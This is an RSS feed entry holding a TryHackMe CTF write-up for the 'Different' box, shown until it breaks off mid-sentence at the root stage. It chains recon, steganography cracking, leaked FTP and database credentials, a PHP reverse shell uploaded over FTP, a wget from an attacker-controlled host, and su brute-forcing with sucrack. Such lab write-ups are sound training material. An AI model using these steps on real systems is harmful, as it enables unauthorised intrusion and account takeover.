<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>TryHackMe : Different CTF writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 15 Aug 2026 05:41:21 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-different-ctf-writeup-1n9h</link>
      <guid>https://dev.to/exploitnotes/tryhackme-different-ctf-writeup-1n9h</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Different CTF is an easy-rated Linux box built around a WordPress install with an&lt;br&gt;
exposed &lt;code&gt;wp-config.php&lt;/code&gt;, an FTP service reachable with credentials hidden inside a&lt;br&gt;
steganographic image, and a custom SUID binary that gates root access behind another&lt;br&gt;
layer of encoding. The path to root involves chaining FTP creds -&amp;gt; phpMyAdmin -&amp;gt;&lt;br&gt;
database recon -&amp;gt; subdomain discovery -&amp;gt; a webshell over FTP upload -&amp;gt; an offline&lt;br&gt;
password crack against &lt;code&gt;su&lt;/code&gt; -&amp;gt; and finally decoding a custom SUID binary's hint&lt;br&gt;
through CyberChef to recover the root password.&lt;/p&gt;

&lt;p&gt;Target: &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt; (&lt;code&gt;adana.thm&lt;/code&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Started with a full port scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
&lt;/span&gt;&lt;span class="gp"&gt;|_http-title: "Hello World &amp;amp;#&lt;/span&gt;8211&lt;span class="p"&gt;;&lt;/span&gt; Just another WordPress site&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FTP and a WordPress 5.6 site on Apache 2.4.29. Added the hostname to &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;br&gt;
right away since the site referenced &lt;code&gt;adana.thm&lt;/code&gt; in redirects later on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;MACHINE_IP&amp;gt; adana.thm'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1.1 Directory brute force
&lt;/h3&gt;

&lt;p&gt;Ran &lt;code&gt;dirsearch&lt;/code&gt; first, then &lt;code&gt;gobuster&lt;/code&gt; against the vhost once it resolved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dirsearch &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[..snip..]
200 -    0B  - /wp-config.php
200 -  504B  - /wp-admin/install.php
301 -  319B  - /phpmyadmin  -&amp;gt;  http://&amp;lt;MACHINE_IP&amp;gt;/phpmyadmin/
[..snip..]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stood out immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/wp-config.php&lt;/code&gt; returning &lt;code&gt;200 - 0B&lt;/code&gt; (PHP is executing it, so no leak over HTTP by
itself, but worth remembering)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/wp-admin/install.php&lt;/code&gt; returning &lt;code&gt;200 - 504B&lt;/code&gt; instead of a redirect, which usually
means WordPress isn't fully "installed" from its own point of view&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;gobuster&lt;/code&gt; against the vhost turned up an extra directory that &lt;code&gt;dirsearch&lt;/code&gt; had missed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://adana.thm/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;announcements        (Status: 301) [Size: 314] [--&amp;gt; http://adana.thm/announcements/]
javascript           (Status: 301) [Size: 311] [--&amp;gt; http://adana.thm/javascript/]
phpmyadmin           (Status: 301) [Size: 311] [--&amp;gt; http://adana.thm/phpmyadmin/]
wp-admin              (Status: 301) [Size: 309]
wp-content             (Status: 301) [Size: 311]
wp-includes            (Status: 312)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/announcements&lt;/code&gt; was the interesting one, nothing WordPress-related about the name.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Steganography rabbit hole
&lt;/h2&gt;

&lt;p&gt;Browsing &lt;code&gt;/announcements/&lt;/code&gt; gave a directory listing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://adana.thm/announcements/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"austrailian-bulldog-ant.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;austrailian-bulldog-ant.jpg&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;   58K
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"wordlist.txt"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;wordlist.txt&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;                                394K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An image sitting right next to a wordlist is about as strong a hint as CTFs get, so&lt;br&gt;
this was steghide territory. Pulled both files down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://adana.thm/announcements/austrailian-bulldog-ant.jpg &lt;span class="nt"&gt;--output&lt;/span&gt; ant.jpg
curl http://adana.thm/announcements/wordlist.txt &lt;span class="nt"&gt;--output&lt;/span&gt; wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;exiftool&lt;/code&gt; on the image came back clean, nothing embedded in metadata, so moved&lt;br&gt;
straight to cracking the steg password with the provided wordlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;stegcracker ant.jpg wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Successfully cracked file with password: 123adanaantinwar
Tried 49316 passwords
Your file has been written to: ant.jpg.out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extracted file was base64:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;ant.jpg.out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;ant.jpg.out | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FTP credentials, straight out of a picture of an ant. Noted the recurring&lt;br&gt;
&lt;code&gt;123adana...&lt;/code&gt; prefix pattern in these passwords, it comes back later.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. FTP access and WordPress config leak
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp adana.thm 21
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Logged in as &lt;code&gt;hakanftp&lt;/code&gt; and found the web root sitting there, fully accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;ftp&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-------    1 1001     1001           88 Jan 13  2021 .bash_history
-rw-r--r--    1 1001     1001          554 Jan 10  2021 .htaccess
drwxr-xr-x    2 0        0            4096 Jan 14  2021 announcements
-rw-r--r--    1 0        0            3194 Jan 11  2021 wp-config.php
[..snip..]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.bash_history&lt;/code&gt; was tiny but readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; get .bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;su root
&lt;span class="nb"&gt;ls
cd&lt;/span&gt; ..
&lt;span class="o"&gt;[&lt;/span&gt;..snip..]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not much actionable there beyond confirming &lt;code&gt;su root&lt;/code&gt; is a thing people do on this&lt;br&gt;
box. The real prize was &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; get wp-config.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'phpmyadmin1'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_USER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'phpmyadmin'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'12345'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_HOST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Database creds in plaintext, and phpMyAdmin was already sitting exposed at&lt;br&gt;
&lt;code&gt;/phpmyadmin/&lt;/code&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  4. phpMyAdmin -&amp;gt; subdomain discovery
&lt;/h2&gt;

&lt;p&gt;Logged into phpMyAdmin with &lt;code&gt;phpmyadmin:12345&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;![phpMyAdmin login]&lt;/p&gt;

&lt;p&gt;Landed on the server overview, confirming MySQL 5.7.32 / Apache 2.4.29 / PHP 7.2.24.&lt;/p&gt;

&lt;p&gt;Browsed to the &lt;code&gt;phpmyadmin1&lt;/code&gt; database, &lt;code&gt;wp_options&lt;/code&gt; table, and the &lt;code&gt;siteurl&lt;/code&gt; /&lt;br&gt;
&lt;code&gt;home&lt;/code&gt; rows both pointed somewhere unexpected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;siteurl  -&amp;gt;  http://subdomain.adana.thm
home     -&amp;gt;  http://subdomain.adana.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not &lt;code&gt;adana.thm&lt;/code&gt; itself, a subdomain. This explained why an earlier attempt to drop a&lt;br&gt;
webshell at &lt;code&gt;http://adana.thm/revshell.php&lt;/code&gt; came back &lt;code&gt;404 Not Found&lt;/code&gt;, wrong vhost&lt;br&gt;
entirely. Added the subdomain to &lt;code&gt;/etc/hosts&lt;/code&gt; and moved on.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. Webshell via FTP upload -&amp;gt; initial foothold
&lt;/h2&gt;

&lt;p&gt;With write access over FTP as &lt;code&gt;hakanftp&lt;/code&gt;, uploaded a PHP reverse shell directly into&lt;br&gt;
the web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; put revshell.php
ftp&amp;gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;777 revshell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Started a listener and hit the shell on the correct vhost this time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444 listen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; ubuntu &amp;lt;ATTACKER_VISIBLE_IP&amp;gt; Linux-x86_64 www-data(33)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ubuntu:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;www-data
www-data@ubuntu:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed there are two web roots on this box, &lt;code&gt;/var/www/html&lt;/code&gt; (the main site) and&lt;br&gt;
&lt;code&gt;/var/www/subdomain&lt;/code&gt; (where the shell landed):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ubuntu:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /var/www
html  subdomain
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The web flag was sitting in the main site's root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ubuntu:/$ cat /var/www/html/wwe3bbfla4g.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/etc/passwd&lt;/code&gt; showed the two accounts of interest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/home/hakanbey&lt;/code&gt; was permission-denied as &lt;code&gt;www-data&lt;/code&gt;, so privesc from here needed&lt;br&gt;
another angle.&lt;/p&gt;


&lt;h2&gt;
  
  
  6. Bruteforcing su for hakanbey
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;find / -perm -4000&lt;/code&gt; didn't turn up anything useful yet (the interesting SUID binary&lt;br&gt;
shows up later, in &lt;code&gt;/usr/bin&lt;/code&gt;, readable only after becoming &lt;code&gt;hakanbey&lt;/code&gt;). &lt;code&gt;sudo -l&lt;/code&gt;&lt;br&gt;
wasn't available to &lt;code&gt;www-data&lt;/code&gt; at all. With &lt;code&gt;hakanbey&lt;/code&gt;'s password unknown, and the&lt;br&gt;
strong &lt;code&gt;123adana...&lt;/code&gt; pattern seen twice already, the plan was to bruteforce &lt;code&gt;su&lt;/code&gt;&lt;br&gt;
locally using &lt;code&gt;sucrack&lt;/code&gt;, seeded with a wordlist built from that pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/^/123adana/'&lt;/span&gt; wordlist.txt &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; new_wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.1 First attempt: precompiled binary, wrong glibc
&lt;/h3&gt;

&lt;p&gt;Grabbed a precompiled &lt;code&gt;sucrack&lt;/code&gt; from a local python http.server and tried to run it&lt;br&gt;
on the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ubuntu:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;./sucrack &lt;span class="nt"&gt;-u&lt;/span&gt; hakanbey &lt;span class="nt"&gt;-t&lt;/span&gt; 8 &lt;span class="nt"&gt;-w&lt;/span&gt; new_wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./sucrack: /lib/x86_64-linux-gnu/libc.so.6: version &lt;span class="sb"&gt;`&lt;/span&gt;GLIBC_2.33&lt;span class="s1"&gt;' not found (required by ./sucrack)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The target's glibc (2.27, an 18.04 box) was too old for the binary I'd grabbed from&lt;br&gt;
my Kali box. Dead end, needed to compile from source against the target's own&lt;br&gt;
toolchain instead.&lt;/p&gt;
&lt;h3&gt;
  
  
  6.2 Building sucrack from source on the target
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://&amp;lt;ATTACKER_IP&amp;gt;/sucrack_1.2.3.orig.tar.gz
&lt;span class="nb"&gt;tar &lt;/span&gt;xf sucrack_1.2.3.orig.tar.gz
&lt;span class="nb"&gt;cd &lt;/span&gt;sucrack-1.2.3
./configure
make
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The stock &lt;code&gt;make&lt;/code&gt; failed at the link stage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sucrack-worker.o: In function `worker_spawn':
worker.c:113: undefined reference to `pthread_create'
collect2: error: ld returned 1 exit status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Missing &lt;code&gt;-lpthread&lt;/code&gt; on the final link command for some reason (autotools quirk on&lt;br&gt;
this older toolchain). Linked it manually instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;src
gcc &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-O2&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; sucrack sucrack-sucrack.o sucrack-worker.o sucrack-dictionary.o &lt;span class="se"&gt;\&lt;/span&gt;
  sucrack-pty.o sucrack-su.o sucrack-rewriter.o sucrack-util.o sucrack-stat.o &lt;span class="se"&gt;\&lt;/span&gt;
  sucrack-rules.o &lt;span class="nt"&gt;-lpthread&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x sucrack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That produced a working binary built natively against the target's glibc.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.3 Cracking the password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./sucrack &lt;span class="nt"&gt;-w&lt;/span&gt; 100 &lt;span class="nt"&gt;-u&lt;/span&gt; hakanbey ../../new_wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password is: 123adanasubaru
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su hakanbey
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; hakanbey@ubuntu:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;hakanbey
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; hakanbey@ubuntu:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;hakanbey&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;hakanbey&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;hakanbey&lt;span class="o"&gt;)&lt;/span&gt;,4&lt;span class="o"&gt;(&lt;/span&gt;adm&lt;span class="o"&gt;)&lt;/span&gt;,24&lt;span class="o"&gt;(&lt;/span&gt;cdrom&lt;span class="o"&gt;)&lt;/span&gt;,30&lt;span class="o"&gt;(&lt;/span&gt;dip&lt;span class="o"&gt;)&lt;/span&gt;,46&lt;span class="o"&gt;(&lt;/span&gt;plugdev&lt;span class="o"&gt;)&lt;/span&gt;,108&lt;span class="o"&gt;(&lt;/span&gt;lxd&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grabbed the user flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/hakanbey/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Root: the custom SUID binary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; for &lt;code&gt;hakanbey&lt;/code&gt; came back empty. Enumerated SUID binaries again, this time&lt;br&gt;
with &lt;code&gt;hakanbey&lt;/code&gt;'s broader read access, and one stood out among the usual system&lt;br&gt;
binaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/bin/binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-r-srwx--- 1 root hakanbey 12984 Jan 14  2021 /usr/bin/binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Owned by root, SUID, and group-executable by &lt;code&gt;hakanbey&lt;/code&gt; specifically. Pulled apart&lt;br&gt;
its strings before running it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings /usr/bin/binary | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I think you should enter the correct string here ==&amp;gt;
/root/hint.txt
Hint! : %s
/root/root.jpg
Unable to open source!
/home/hakanbey/root.jpg
Copy /root/root.jpg ==&amp;gt; /home/hakanbey/root.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looked like a gated file-copy: enter the right passphrase, and it copies&lt;br&gt;
